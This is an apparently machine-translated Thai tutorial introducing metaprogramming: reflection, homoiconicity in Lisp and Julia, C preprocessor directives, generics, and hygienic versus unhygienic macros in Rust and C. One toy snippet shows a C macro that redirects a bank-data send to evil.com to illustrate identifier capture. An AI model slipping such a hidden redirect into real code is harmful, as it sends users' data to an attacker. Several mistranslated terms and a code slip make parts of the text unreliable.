การเขียนโค้ด Code: An Introduction to theory and Practice of Modern Metaprogramming

เผยแพร่แล้ว: 2022-07-22

เมื่อใดก็ตามที่ฉันนึกถึงวิธีที่ดีที่สุดในการอธิบายมาโคร ฉันจำโปรแกรม Python ที่ฉันเขียนเมื่อเริ่มเขียนโปรแกรมครั้งแรก ฉันไม่สามารถจัดระเบียบได้ตามต้องการ ฉันต้องเรียกใช้ฟังก์ชันที่แตกต่างกันเล็กน้อย และโค้ดก็ยุ่งยาก สิ่งที่ฉันค้นหา—แม้ว่าตอนนั้นฉันไม่รู้—คือ metaprogramming

metaprogramming (คำนาม)

เทคนิคใดๆ ก็ตามที่โปรแกรมสามารถปฏิบัติต่อโค้ดเสมือนเป็นข้อมูลได้

เราสามารถสร้างตัวอย่างที่แสดงให้เห็นถึงปัญหาเดียวกันกับที่ฉันประสบกับโครงการ Python โดยจินตนาการว่าเรากำลังสร้างส่วนหลังของแอปสำหรับเจ้าของสัตว์เลี้ยง การใช้เครื่องมือในห้องสมุด pet_sdk เราเขียน Python เพื่อช่วยให้เจ้าของสัตว์เลี้ยงซื้ออาหารแมว:

 import pet_sdk cats = pet_sdk.get_cats() print(f"Found {len(cats)} cats!") for cat in cats: pet_sdk.order_cat_food(cat, amount=cat.food_needed)
Snippet 1: สั่งอาหารแมว

หลังจากยืนยันว่ารหัสใช้งานได้แล้ว เราก็เริ่มใช้ตรรกะเดียวกันกับสัตว์เลี้ยงอีกสองประเภท (นกและสุนัข) นอกจากนี้เรายังเพิ่มคุณสมบัติในการจองนัดหมายสัตวแพทย์:

 # An SDK that can give us information about pets - unfortunately, the functions are slightly different for each pet import pet_sdk # Get all of the birds, cats, and dogs in the system, respectively birds = pet_sdk.get_birds() cats = pet_sdk.get_cats() dogs = pet_sdk.get_dogs() for cat in cats: print(f"Checking information for cat {cat.name}") if cat.hungry(): pet_sdk.order_cat_food(cat, amount=cat.food_needed) cat.clean_litterbox() if cat.sick(): available_vets = pet_sdk.find_vets(animal="cat") if len(available_vets) > 0: vet = available_vets[0] vet.book_cat_appointment(cat) for dog in dogs: print(f"Checking information for dog {dog.name}") if dog.hungry(): pet_sdk.order_dog_food(dog, amount=dog.food_needed) dog.walk() if dog.sick(): available_vets = pet_sdk.find_vets(animal="dog") if len(available_vets) > 0: vet = available_vets[0] vet.book_dog_appointment(dog) for bird in birds: print(f"Checking information for bird {bird.name}") if bird.hungry(): pet_sdk.order_bird_food(bird, amount=bird.food_needed) bird.clean_cage() if bird.sick(): available_vets = pet_sdk.find_birds(animal="bird") if len(available_vets) > 0: vet = available_vets[0] vet.book_bird_appointment(bird)
Snippet 2: สั่งอาหารแมว สุนัข และนก; นัดหมายสัตวแพทย์

เป็นการดีที่จะย่อตรรกะที่ซ้ำซ้อนของ Snippet 2 ให้เป็นลูป ดังนั้นเราจึงเริ่มเขียนโค้ดใหม่ เราตระหนักได้อย่างรวดเร็วว่า เนื่องจากแต่ละฟังก์ชันมีชื่อต่างกัน เราจึงไม่สามารถระบุได้ว่าควรเรียกฟังก์ชันใด (เช่น book_bird_appointment , book_cat_appointment ) ในลูปของเรา:

 import pet_sdk all_animals = pet_sdk.get_birds() + pet_sdk.get_cats() + pet_sdk.get_dogs() for animal in all_animals: # What now?
ตัวอย่างที่ 3: อะไรตอนนี้

ลองนึกภาพเวอร์ชันเทอร์โบชาร์จของ Python ซึ่งเราสามารถเขียนโปรแกรมที่สร้างโค้ดสุดท้ายที่เราต้องการโดยอัตโนมัติ ซึ่งเราสามารถจัดการโปรแกรมของเราได้อย่างยืดหยุ่น ง่ายดาย และลื่นไหลราวกับว่ามันเป็นรายการ ข้อมูลในไฟล์ หรือใดๆ ประเภทข้อมูลทั่วไปอื่น ๆ หรืออินพุตโปรแกรม:

 import pet_sdk for animal in ["cat", "dog", "bird"]: animals = pet_sdk.get_{animal}s() # When animal is "cat", this # would be pet_sdk.get_cats() for animal in animal: pet_sdk.order_{animal}_food(animal, amount=animal.food_needed) # When animal is "dog" this would be # pet_sdk.order_dog_food(dog, amount=dog.food_needed)
Snippet 4: TurboPython: โปรแกรมในจินตนาการ

นี่คือตัวอย่างของ มาโคร ซึ่งมีให้บริการในภาษาต่างๆ เช่น Rust, Julia หรือ C เป็นต้น แต่ไม่ใช่ Python

ภาพจำลองนี้เป็นตัวอย่างที่ดีของการเขียนโปรแกรมที่สามารถปรับเปลี่ยนและจัดการโค้ดของตนเองได้ นี่คือการวาดมาโครอย่างแม่นยำ และเป็นหนึ่งในหลาย ๆ คำตอบสำหรับคำถามที่ใหญ่กว่า: เราจะให้โปรแกรมตรวจสอบโค้ดของตัวเอง ใช้เป็นข้อมูล แล้วดำเนินการวิปัสสนานั้นได้อย่างไร

โดยทั่วไปแล้ว เทคนิคทั้งหมดที่สามารถบรรลุวิปัสสนาดังกล่าวอยู่ภายใต้คำว่า "โปรแกรมเมตาโปรแกรมมิ่ง" แบบครอบคลุม Metaprogramming เป็นฟิลด์ย่อยที่สมบูรณ์ในการออกแบบภาษาโปรแกรม และสามารถตรวจสอบย้อนกลับไปยังแนวคิดที่สำคัญอย่างหนึ่ง: รหัสเป็นข้อมูล

ภาพสะท้อน: ในการป้องกันของ Python

คุณอาจชี้ให้เห็นว่าแม้ว่า Python จะไม่ให้การสนับสนุนมาโคร แต่ก็มีวิธีอื่นๆ มากมายในการเขียนโค้ดนี้ ตัวอย่างเช่น ที่นี่เราใช้เมธอด isinstance() เพื่อระบุคลาสที่ตัวแปร animal ของเราเป็นตัวอย่างและเรียกใช้ฟังก์ชันที่เหมาะสม:

 # An SDK that can give us information about pets - unfortunately, the functions # are slightly different import pet_sdk def process_animal(animal): if isinstance(animal, pet_sdk.Cat): animal_name_type = "cat" order_food_fn = pet_sdk.order_cat_food care_fn = animal.clean_litterbox elif isinstance(animal, pet_sdk.Dog): animal_name_type = "dog" order_food_fn = pet_sdk.order_dog_food care_fn = animal.walk elif isinstance(animal, pet_sdk.Bird): animal_name_type = "bird" order_food_fn = pet_sdk.order_bird_food care_fn = animal.clean_cage else: raise TypeError("Unrecognized animal!") print(f"Checking information for {animal_name_type} {animal.name}") if animal.hungry(): order_food_fn(animal, amount=animal.food_needed) care_fn() if animal.sick(): available_vets = pet_sdk.find_vets(animal=animal_name_type) if len(available_vets) > 0: vet = available_vets[0] # We still have to check again what type of animal it is if isinstance(animal, pet_sdk.Cat): vet.book_cat_appointment(animal) elif isinstance(animal, pet_sdk.Dog): vet.book_dog_appointment(animal) else: vet.book_bird_appointment(animal) all_animals = pet_sdk.get_birds() + pet_sdk.get_cats() + pet_sdk.get_dogs() for animal in all_animals: process_animal(animal)
ตัวอย่างที่ 5: ตัวอย่างสำนวน

เราเรียกการ สะท้อน เมตาโปรแกรมมิงประเภทนี้ และเราจะกลับมาพูดถึงในภายหลัง โค้ดของ Snippet 5 นั้นยังค่อนข้างยุ่งยากอยู่เล็กน้อย แต่สำหรับโปรแกรมเมอร์จะเขียนได้ง่ายกว่า Snippet 2 ซึ่งเราได้ทวนตรรกะสำหรับสัตว์แต่ละตัวที่อยู่ในรายการ

ท้าทาย

ใช้เมธอด getattr แก้ไขโค้ดก่อนหน้าเพื่อเรียกใช้ฟังก์ชัน order_*_food และ book_*_appointment ที่เหมาะสมแบบไดนามิก เนื้อหานี้ทำให้โค้ดอ่านได้น้อยลง แต่ถ้าคุณรู้จัก Python ดี ก็ควรพิจารณาว่าคุณจะใช้ getattr แทนฟังก์ชัน isinstance ได้อย่างไร และทำให้โค้ดง่ายขึ้น


Homoiconicity: ความสำคัญของ Lisp

ภาษาโปรแกรมบางภาษา เช่น Lisp นำแนวคิดของ metaprogramming ไปสู่อีกระดับหนึ่งผ่าน homoiconicity

homoiconicity (คำนาม)

คุณสมบัติของภาษาการเขียนโปรแกรมโดยที่ไม่มีความแตกต่างระหว่างโค้ดกับข้อมูลที่โปรแกรมทำงานอยู่

Lisp สร้างขึ้นในปี 1958 เป็นภาษา homoiconic ที่เก่าแก่ที่สุดและเป็นภาษาการเขียนโปรแกรมระดับสูงที่เก่าแก่เป็นอันดับสอง ได้ชื่อมาจาก “LISt Processor” Lisp คือการปฏิวัติในการประมวลผลซึ่งกำหนดรูปแบบการใช้และตั้งโปรแกรมคอมพิวเตอร์อย่างลึกซึ้ง เป็นการยากที่จะพูดเกินจริงว่า Lisp มีอิทธิพลต่อการเขียนโปรแกรมอย่างไรโดยพื้นฐานและชัดเจน

Emacs เขียนด้วย Lisp ซึ่งเป็นภาษาคอมพิวเตอร์เพียงภาษาเดียวที่สวยงาม นีล สตีเฟนสัน

Lisp ถูกสร้างขึ้นเพียงหนึ่งปีหลังจาก FORTRAN ในยุคของการ์ดเจาะรูและคอมพิวเตอร์ทางการทหารที่เต็มห้อง ทุกวันนี้โปรแกรมเมอร์ยังคงใช้ Lisp เพื่อเขียนแอปพลิเคชั่นใหม่ที่ทันสมัย John McCarthy ผู้สร้างหลักของ Lisp เป็นผู้บุกเบิกด้าน AI หลายปีที่ผ่านมา Lisp เป็นภาษาของ AI โดยนักวิจัยให้รางวัลความสามารถในการเขียนโค้ดของตนเองใหม่แบบไดนามิก การวิจัย AI ในปัจจุบันมีศูนย์กลางอยู่ที่โครงข่ายประสาทเทียมและแบบจำลองทางสถิติที่ซับซ้อน แทนที่จะเป็นรหัสการสร้างตรรกะประเภทนั้น อย่างไรก็ตาม การวิจัยเกี่ยวกับ AI โดยใช้ Lisp โดยเฉพาะอย่างยิ่งการวิจัยที่ทำขึ้นในยุค 60 และ 70 ที่ MIT และ Stanford ได้สร้างสาขาวิชาดังที่เรารู้จัก และอิทธิพลมหาศาลยังคงมีอยู่

การถือกำเนิดของ Lisp ทำให้โปรแกรมเมอร์รุ่นก่อน ๆ มองเห็นความเป็นไปได้ในการคำนวณเชิงปฏิบัติของสิ่งต่าง ๆ เช่น การเรียกซ้ำ ฟังก์ชันระดับสูง และรายการที่เชื่อมโยงเป็นครั้งแรก นอกจากนี้ยังแสดงให้เห็นถึงพลังของภาษาการเขียนโปรแกรมที่สร้างขึ้นจากแนวคิดของแคลคูลัสแลมบ์ดา

แนวคิดเหล่านี้จุดประกายให้เกิดการระเบิดในการออกแบบภาษาโปรแกรม และตามที่ Edsger Dijkstra หนึ่งในชื่อที่ยิ่งใหญ่ที่สุดในสาขาวิทยาการคอมพิวเตอร์กล่าวไว้ […] ช่วยเพื่อนมนุษย์ที่มีพรสวรรค์ที่สุดของเราหลายคนในการคิดความคิดที่เป็นไปไม่ได้ก่อนหน้านี้”

ตัวอย่างนี้แสดงโปรแกรม Lisp อย่างง่าย (และเทียบเท่าในไวยากรณ์ Python ที่คุ้นเคย) ที่กำหนดฟังก์ชัน "แฟกทอเรียล" ที่คำนวณแฟกทอเรียลซ้ำๆ ของอินพุตและการเรียกใช้ฟังก์ชันที่มีอินพุต "7":

Lisp Python
( defun factorial ( n ) ( if ( = n 1 ) 1 ( * n ( factorial ( - n 1 ))))) ( print ( factorial 7 ))
 def factorial (n) : if n == 1 : return 1 else : return n * factorial(n -1 ) print(factorial( 7 ))

รหัสเป็นข้อมูล

แม้จะเป็นหนึ่งในนวัตกรรมที่สร้างผลกระทบและเป็นผลสืบเนื่องมากที่สุดของ Lisp แต่ homoiconicity ซึ่งแตกต่างจากการเรียกซ้ำและแนวคิดอื่น ๆ อีกมากมายที่ Lisp เป็นผู้บุกเบิก แต่ไม่ได้ทำให้มันเป็นภาษาการเขียนโปรแกรมส่วนใหญ่ในปัจจุบัน

ตารางต่อไปนี้เปรียบเทียบฟังก์ชัน homoiconic ที่ส่งคืนโค้ดทั้งใน Julia และ Lisp Julia เป็นภาษา homoiconic ซึ่งคล้ายกับภาษาระดับสูงที่คุณอาจคุ้นเคย (เช่น Python, Ruby) ในหลายๆ ด้าน

ส่วนสำคัญของไวยากรณ์ในแต่ละตัวอย่างคืออักขระ อ้างอิง Julia ใช้ a : (เครื่องหมายทวิภาค) เพื่ออ้างอิง ในขณะที่ Lisp ใช้ ' (เครื่องหมายคำพูดเดียว):

จูเลีย Lisp
function function_that_returns_code() return :(x + 1 ) end
 ( defun function_that_returns_code () '(+ x 1 ))

ในทั้งสองตัวอย่าง เครื่องหมายคำพูดข้างนิพจน์หลัก ( (x + 1) หรือ (+ x 1) ) จะแปลงจากโค้ดที่จะถูกประเมินโดยตรงเป็นนิพจน์นามธรรมที่เราจัดการได้ ฟังก์ชันส่งคืนโค้ด—ไม่ใช่สตริงหรือข้อมูล หากเราต้องเรียกใช้ฟังก์ชันของเราและเขียน print(function_that_returns_code()) Julia จะพิมพ์โค้ดที่เป็นสตริงเป็น x+1 (และเทียบเท่ากับ Lisp) ในทางกลับกัน ถ้าไม่มี : (หรือ ' ใน Lisp) เราจะได้รับข้อผิดพลาดที่ x ไม่ได้กำหนดไว้

กลับไปที่ตัวอย่าง Julia ของเราและขยาย:

 function function_that_returns_code(n) return :(x + $n) end my_code = function_that_returns_code(3) print(my_code) # Prints out (x + 3) x = 1 print(eval(my_code)) # Prints out 4 x = 3 print(eval(my_code)) # Prints out 6
ตัวอย่างที่ 6: ตัวอย่าง Julia Extended

ฟังก์ชัน eval สามารถใช้เพื่อเรียกใช้โค้ดที่เราสร้างจากที่อื่นในโปรแกรม โปรดทราบว่าค่าที่พิมพ์ออกมาจะขึ้นอยู่กับคำจำกัดความของตัวแปร x หากเราพยายาม eval ที่สร้างขึ้นในบริบทที่ไม่ได้กำหนด x เราจะได้รับข้อผิดพลาด

Homoiconicity เป็นโปรแกรม metaprogramming ที่ทรงพลัง สามารถปลดล็อกกระบวนทัศน์การเขียนโปรแกรมที่แปลกใหม่และซับซ้อน ซึ่งโปรแกรมสามารถปรับตัวได้ทันที สร้างรหัสเพื่อให้พอดีกับปัญหาเฉพาะโดเมนหรือรูปแบบข้อมูลใหม่ที่พบ

ใช้กรณีของ WolframAlpha ซึ่งภาษา Wolfram แบบ homoiconic สามารถสร้างโค้ดเพื่อปรับให้เข้ากับปัญหาที่หลากหลายอย่างไม่น่าเชื่อ คุณสามารถถาม WolframAlpha ได้ว่า "GDP ของนครนิวยอร์กหารด้วยประชากรของอันดอร์ราเป็นเท่าใด" และได้รับการตอบสนองเชิงตรรกะอย่างน่าทึ่ง

ดูเหมือนไม่น่าเป็นไปได้ที่ทุกคนจะคิดรวมการคำนวณที่คลุมเครือและไร้จุดหมายนี้ไว้ในฐานข้อมูล แต่ Wolfram ใช้เมตาโปรแกรมมิ่งและกราฟความรู้ทางออนโทโลยีเพื่อเขียนโค้ดแบบทันทีเพื่อตอบคำถามนี้

สิ่งสำคัญคือต้องเข้าใจความยืดหยุ่นและพลังที่ Lisp และภาษา homoiconic อื่นๆ มีให้ ก่อนที่เราจะลงลึกในรายละเอียดเพิ่มเติม ลองพิจารณาตัวเลือก metaprogramming บางส่วนที่คุณมี:

คำนิยาม ตัวอย่าง หมายเหตุ
ความคล้ายคลึงกัน ลักษณะภาษาที่รหัสเป็นข้อมูล "ชั้นหนึ่ง" เนื่องจากไม่มีการแยกระหว่างรหัสและข้อมูล ทั้งสองสามารถใช้แทนกันได้
  • Lisp
  • บทนำ
  • จูเลีย
  • กบฏ/แดง
  • ภาษาวุลแฟรม
Lisp มีภาษาอื่นๆ ในตระกูล Lisp เช่น Scheme, Racket และ Clojure
มาโคร คำสั่ง ฟังก์ชัน หรือนิพจน์ที่รับโค้ดเป็นอินพุต และส่งคืนโค้ดเป็นเอาต์พุต
  • macro_rules! , Derive และมาโครขั้นตอน
  • @macro ของจูลี่
  • defmacro ของ Lisp
  • ซี #define
(ดูหมายเหตุถัดไปเกี่ยวกับมาโครของ C)
คำสั่งพรีโปรเซสเซอร์ (หรือพรีคอมไพเลอร์) ระบบที่รับโปรแกรมเป็นอินพุตและส่งคืนเวอร์ชันที่เปลี่ยนแปลงของโปรแกรมเป็นเอาต์พุตตามคำสั่งที่รวมอยู่ในโค้ด
  • มาโครของ C
  • ระบบพรีโปรเซสเซอร์ # ของ C++
มาโครของ C ถูกใช้งานโดยใช้ระบบพรีโปรเซสเซอร์ของ C แต่ทั้งสองเป็นแนวคิดที่แยกจากกัน

ความแตกต่างของแนวคิดหลักระหว่างมาโครของ C (ซึ่งเราใช้ #define คำสั่งตัวประมวลผลล่วงหน้า) และรูปแบบอื่น ๆ ของคำสั่งตัวประมวลผลล่วงหน้า C (เช่น #if และ #ifndef ) คือการที่เราใช้มาโครเพื่อสร้างโค้ดในขณะที่ใช้ที่ไม่ใช่ #define คำสั่งพรีโปรเซสเซอร์เพื่อคอมไพล์โค้ดอื่นตามเงื่อนไข ทั้งสองมีความเกี่ยวข้องกันอย่างใกล้ชิดในภาษา C และในภาษาอื่นบางภาษา แต่เป็น metaprogramming ประเภทต่างๆ
การสะท้อน ความสามารถของโปรแกรมในการตรวจสอบ แก้ไข และไตร่ตรองรหัสของตนเอง
  • isinstance ของ Python , getattr , functions
  • รีเฟล็กและประเภทของ Reflect typeof
  • getDeclaredMethods ของ Java
  • ลำดับชั้นของคลาส System.Type ของ .NET
การสะท้อนสามารถเกิดขึ้นได้ในเวลาคอมไพล์หรือขณะรันไทม์
ยาสามัญ ความสามารถในการเขียนโค้ดที่ถูกต้องสำหรับหลายประเภทที่แตกต่างกัน หรือสามารถใช้ได้ในหลายบริบท แต่เก็บไว้ในที่เดียว เราสามารถกำหนดบริบทที่โค้ดนั้นใช้ได้ไม่ว่าจะโดยชัดแจ้งหรือโดยปริยาย

ข้อมูลทั่วไปในรูปแบบเทมเพลต:

  • C++
  • สนิม
  • Java

ความหลากหลายทางพารามิเตอร์:

  • Haskell
  • ML
โปรแกรมทั่วไปเป็นหัวข้อที่กว้างกว่า metaprogramming ทั่วไป และเส้นแบ่งระหว่างทั้งสองไม่ได้กำหนดไว้อย่างชัดเจน

ในมุมมองของผู้เขียนรายนี้ ระบบประเภทพารามิเตอร์จะนับเป็น metaprogramming หากเป็นภาษาที่พิมพ์แบบสแตติกเท่านั้น
ข้อมูลอ้างอิงสำหรับ Metaprogramming

มาดูตัวอย่างเชิงปฏิบัติของ homoiconicity, macros, preprocessor directives, reflection และ generics ที่เขียนในภาษาการเขียนโปรแกรมต่างๆ:

 # Prints out "Hello Will", "Hello Alice", by dynamically creating the lines of code say_hi = :(println("Hello, ", name)) name = "Will" eval(say_hi) name = "Alice" eval(say_hi)
ตัวอย่างที่ 7: Homoiconicity ใน Julia
 int main() { #ifdef _WIN32 printf("This section will only be compiled for and run on windows!\n"); windows_only_function(); #elif __unix__ printf("This section will only be compiled for and run on unix!\n"); unix_only_function(); #endif printf("This line runs regardless of platform!\n"); return 1; }
Snippet 8: Preprocessor Directive ใน C
 from pet_sdk import Cat, Dog, get_pet pet = get_pet() if isinstance(pet, Cat): pet.clean_litterbox() elif isinstance(pet, Dog): pet.walk() else: print(f"Don't know how to help a pet of type {type(pet)}")
Snippet 9: Reflection ใน Python
 import com.example.coordinates.*; interface Vehicle { public String getName(); public void move(double xCoord, double yCoord); } public class VehicleDriver<T extends Vehicle> { // This class is valid for any other class T which implements // the Vehicle interface private final T vehicle; public VehicleDriver(T vehicle) { System.out.println("VehicleDriver: " + vehicle.getName()); this.vehicle = vehicle; } public void goHome() { this.vehicle.move(HOME_X, HOME_Y); } public void goToStore() { this.vehicle.move(STORE_X, STORE_Y); } }
Snippet 10: Generics ใน Java
 macro_rules! print_and_return_if_true { ($val_to_check: ident, $val_to_return: expr) => { if ($val_to_check) { println!("Val was true, returning {}", $val_to_return); return $val_to_return; } } } // The following is the same as if for each of x, y, and z, // we wrote if x { println!...} fn example(x: bool, y: bool, z: bool) -> i32 { print_and_return_if_true!(x, 1); print_and_return_if_true!(z, 2); print_and_return_if_true!(y, 3); }
ตัวอย่างที่ 11: มาโครใน Rust

มาโคร (เช่นเดียวกับใน Snippet 11) กำลังได้รับความนิยมอีกครั้งในภาษาการเขียนโปรแกรมรุ่นใหม่ ในการพัฒนาสิ่งเหล่านี้ให้ประสบความสำเร็จ เราต้องพิจารณาหัวข้อสำคัญ: สุขอนามัย

มาโครที่ถูกสุขอนามัยและไม่ถูกสุขลักษณะ

โค้ดที่ "ถูกสุขอนามัย" หรือ "ไม่ถูกสุขลักษณะ" หมายความว่าอย่างไร เพื่อความชัดเจน มาดูมาโคร Rust ซึ่งสร้างอินสแตนซ์โดย macro_rules! การทำงาน. ตามชื่อที่สื่อถึง macro_rules! สร้างรหัสตามกฎที่เรากำหนด ในกรณีนี้ เราได้ตั้งชื่อมาโครของเราว่า my_macro และกฎคือ “สร้างบรรทัดของโค้ด let x = $n ” โดยที่ n คืออินพุตของเรา:

 macro_rules! my_macro { ($n) => { let x = $n; } } fn main() { let x = 5; my_macro!(3); println!("{}", x); }
ตัวอย่างที่ 12: สุขอนามัยใน Rust

เมื่อเราขยายมาโครของเรา (เรียกใช้มาโครเพื่อแทนที่การเรียกใช้ด้วยรหัสที่สร้าง) เราคาดว่าจะได้รับสิ่งต่อไปนี้:

 fn main() { let x = 5; let x = 3; // This is what my_macro!(3) expanded into println!("{}", x); }
ตัวอย่างที่ 13: ตัวอย่างของเรา ขยายออก

ดูเหมือนว่ามาโครของเราได้กำหนดตัวแปร x ใหม่ให้เท่ากับ 3 ดังนั้นเราอาจคาดหวังให้โปรแกรมพิมพ์ 3 อย่างสมเหตุสมผล อันที่จริงมันพิมพ์ 5 ! น่าประหลาดใจ? ใน Rust, macro_rules! ถูกสุขลักษณะสำหรับตัวระบุ ดังนั้นจะไม่ "จับ" ตัวระบุที่อยู่นอกขอบเขต ในกรณีนี้ ตัวระบุคือ x ถ้ามันถูกจับโดยมาโคร มันจะเท่ากับ 3

สุขอนามัย (นาม)

คุณสมบัติที่รับประกันว่าการขยายของมาโครจะไม่จับตัวระบุหรือสถานะอื่นๆ จากนอกขอบเขตของมาโคร ระบบมาโครและระบบมาโครที่ไม่มีคุณสมบัตินี้เรียกว่า ไม่ถูกสุขลักษณะ

สุขอนามัยในมาโครเป็นหัวข้อที่ค่อนข้างขัดแย้งในหมู่นักพัฒนา ผู้เสนอยืนยันว่าหากไม่มีสุขอนามัย ทั้งหมดนั้นง่ายเกินไปที่จะปรับเปลี่ยนพฤติกรรมของโค้ดอย่างละเอียดโดยไม่ได้ตั้งใจ ลองนึกภาพมาโครที่มีความซับซ้อนมากกว่า Snippet 13 ที่ใช้ในโค้ดที่ซับซ้อนซึ่งมีตัวแปรและตัวระบุอื่นๆ มากมาย จะเกิดอะไรขึ้นถ้ามาโครนั้นใช้ตัวแปรเดียวกับโค้ดของคุณ และคุณไม่ได้สังเกต

ไม่ใช่เรื่องแปลกที่นักพัฒนาจะใช้แมโครจากไลบรารีภายนอกโดยไม่ต้องอ่านซอร์สโค้ด นี่เป็นเรื่องปกติโดยเฉพาะอย่างยิ่งในภาษาใหม่ ๆ ที่ให้การสนับสนุนมาโคร (เช่น Rust และ Julia):

 #define EVIL_MACRO website="https://evil.com"; int main() { char *website = "https://good.com"; EVIL_MACRO send_all_my_bank_data_to(website); return 1; }
Snippet 14: An Evil C Macro

มาโครที่ไม่ถูกสุขลักษณะใน C จะรวบรวม website ตัวระบุและเปลี่ยนแปลงค่าของเว็บไซต์ แน่นอนว่าการดักจับตัวระบุไม่เป็นอันตราย เป็นเพียงผลที่ตามมาโดยบังเอิญจากการใช้มาโคร

ดังนั้นมาโครที่ถูกสุขลักษณะนั้นดีและมาโครที่ไม่ถูกสุขอนามัยก็แย่ใช่ไหม น่าเสียดายที่มันไม่ง่ายอย่างนั้น มีกรณีที่ชัดเจนที่จะทำให้มาโครที่ถูกสุขอนามัยจำกัดเรา บางครั้ง การดักจับตัวระบุก็มีประโยชน์ มาทบทวน Snippet 2 กันอีกครั้ง ซึ่งเราใช้ pet_sdk เพื่อให้บริการสัตว์เลี้ยงสามประเภท รหัสเดิมของเราเริ่มต้นเช่นนี้:

 birds = pet_sdk.get_birds() cats = pet_sdk.get_cats() dogs = pet_sdk.get_dogs() for cat in cats: # Cat specific code for dog in dogs: # Dog specific code # etc…
ตัวอย่างที่ 15: กลับไปที่สัตวแพทย์—เรียกคืน pet sdk

คุณจะจำได้ว่า Snippet 3 เป็นความพยายามในการย่อตรรกะซ้ำๆ ของ Snippet 2 ให้เป็นลูปรวมทุกอย่าง แต่ถ้าโค้ดของเราขึ้นอยู่กับตัวระบุ cats and dogs และเราต้องการเขียนสิ่งต่อไปนี้:

 {animal}s = pet_sdk.get{animal}s() for {animal} in {animal}s: # {animal} specific code
Snippet 16: การจับตัวระบุที่มีประโยชน์ (ในจินตนาการ "TurboPython")

Snippet 16 ค่อนข้างเรียบง่าย แต่ลองนึกภาพกรณีที่เราต้องการให้มาโครเขียนโค้ดส่วนที่กำหนด 100% มาโครที่ถูกสุขอนามัยอาจมีข้อจำกัดในกรณีเช่นนี้

แม้ว่าการดีเบตแบบมหภาคที่ถูกสุขอนามัยและไม่ถูกสุขลักษณะอาจมีความซับซ้อน แต่ข่าวดีก็คือ คุณไม่จำเป็นต้องมีจุดยืน ภาษาที่คุณใช้เป็นตัวกำหนดว่ามาโครของคุณจะถูกสุขอนามัยหรือไม่ถูกสุขลักษณะ ดังนั้น พึงระลึกไว้เสมอว่าเมื่อใช้มาโคร

มาโครสมัยใหม่

มาโครกำลังมีช่วงเวลาเล็กน้อยในขณะนี้ เป็นเวลานาน ที่จุดเน้นของภาษาโปรแกรมที่จำเป็นสมัยใหม่ได้เปลี่ยนจากมาโครที่เป็นส่วนหลักของฟังก์ชันการทำงาน โดยละทิ้งภาษาเหล่านี้ไปเป็นโปรแกรม metaprogramming ประเภทอื่นๆ

ภาษาที่โปรแกรมเมอร์ใหม่ได้รับการสอนในโรงเรียน (เช่น Python และ Java) บอกพวกเขาว่าสิ่งที่พวกเขาต้องการคือการไตร่ตรองและคำทั่วไป

เมื่อเวลาผ่านไป เมื่อภาษาสมัยใหม่เหล่านี้ได้รับความนิยม มาโครก็เชื่อมโยงกับไวยากรณ์ตัวประมวลผลล่วงหน้า C และ C++ ที่น่ากลัว—หากโปรแกรมเมอร์รับรู้ถึงสิ่งเหล่านี้เลย

อย่างไรก็ตาม ด้วยการถือกำเนิดของ Rust และ Julia เทรนด์ได้เปลี่ยนกลับไปเป็นมาโคร Rust และ Julia เป็นภาษาสองภาษาที่ทันสมัย ​​เข้าถึงได้ และใช้กันอย่างแพร่หลาย ซึ่งได้กำหนดนิยามใหม่และเผยแพร่แนวคิดของมาโครด้วยแนวคิดใหม่และสร้างสรรค์ สิ่งนี้น่าตื่นเต้นเป็นพิเศษใน Julia ซึ่งดูพร้อมที่จะแทนที่ Python และ R เป็นภาษาอเนกประสงค์ "รวมแบตเตอรี่" ที่ใช้งานง่าย

เมื่อเราดู pet_sdk ผ่านแว่นตา “TurboPython” ครั้งแรก สิ่งที่เราต้องการจริงๆ ก็คือ Julia มาเขียน Snippet 2 ใหม่ใน Julia โดยใช้ homoiconicity และเครื่องมือ metaprogramming อื่น ๆ ที่มีให้:

 using pet_sdk for (pet, care_fn) = (("cat", :clean_litterbox), ("dog", :walk_dog), ("dog", :clean_cage)) get_pets_fn = Meta.parse("pet_sdk.get_${pet}s") @eval begin local animals = $get_pets_fn() #pet_sdk.get_cats(), pet_sdk.get_dogs(), etc. for animal in animals animal.$care_fn # animal.clean_litterbox(), animal.walk_dog(), etc. end end end
ตัวอย่างที่ 17: พลังของมาโครของจูเลีย—ทำให้ pet_sdk ทำงานเพื่อเรา

มาแยกย่อย Snippet 17:

  1. เราทำซ้ำผ่านสามสิ่งอันดับ สิ่งแรกคือ ("cat", :clean_litterbox) ดังนั้นตัวแปร pet จึงถูกกำหนดให้กับ "cat" และตัวแปร care_fn ถูกกำหนดให้กับสัญลักษณ์ที่ยกมา :clean_litterbox
  2. เราใช้ฟังก์ชัน Meta.parse เพื่อแปลงสตริงเป็น Expression เพื่อให้เราสามารถประเมินเป็นโค้ดได้ ในกรณีนี้ เราต้องการใช้พลังของการแก้ไขสตริง โดยที่เราสามารถใส่สตริงหนึ่งไปยังอีกสตริงหนึ่ง เพื่อกำหนดฟังก์ชันที่จะเรียกใช้
  3. เราใช้ฟังก์ชัน eval เพื่อรันโค้ดที่เรากำลังสร้าง @eval begin… end เป็นอีกวิธีหนึ่งในการเขียน eval(...) เพื่อหลีกเลี่ยงการพิมพ์รหัสซ้ำ ภายในบล็อก @eval คือโค้ดที่เรากำลังสร้างแบบไดนามิกและทำงานอยู่

ระบบ metaprogramming ของ Julia ทำให้เราเป็นอิสระอย่างแท้จริงในการแสดงสิ่งที่เราต้องการในแบบที่เราต้องการ เราอาจใช้วิธีอื่นๆ ได้หลายวิธี รวมถึงการไตร่ตรอง (เช่น Python ใน Snippet 5) นอกจากนี้เรายังสามารถเขียนฟังก์ชันมาโครที่สร้างรหัสสำหรับสัตว์ตัวใดตัวหนึ่งอย่างชัดเจน หรือเราอาจสร้างรหัสทั้งหมดเป็นสตริงและใช้ Meta.parse หรือวิธีการใด ๆ ที่ผสมผสานกัน

Beyond Julia: ระบบ Metaprogramming สมัยใหม่อื่นๆ

Julia อาจเป็นหนึ่งในตัวอย่างที่น่าสนใจและน่าสนใจที่สุดของระบบมาโครสมัยใหม่ แต่ก็ไม่ได้เป็นเพียงระบบเดียว สนิมก็มีบทบาทสำคัญในการนำมาโครมาสู่โปรแกรมเมอร์อีกครั้ง

ใน Rust มาโครมีจุดศูนย์กลางมากกว่า Julia มาก แม้ว่าเราจะไม่ทำการสำรวจทั้งหมดที่นี่ ด้วยเหตุผลหลายประการ คุณไม่สามารถเขียน Rust สำนวนได้โดยไม่ต้องใช้มาโคร อย่างไรก็ตาม ใน Julia คุณสามารถเลือกที่จะเพิกเฉยต่อระบบ homoiconicity และระบบมาโครได้อย่างสมบูรณ์

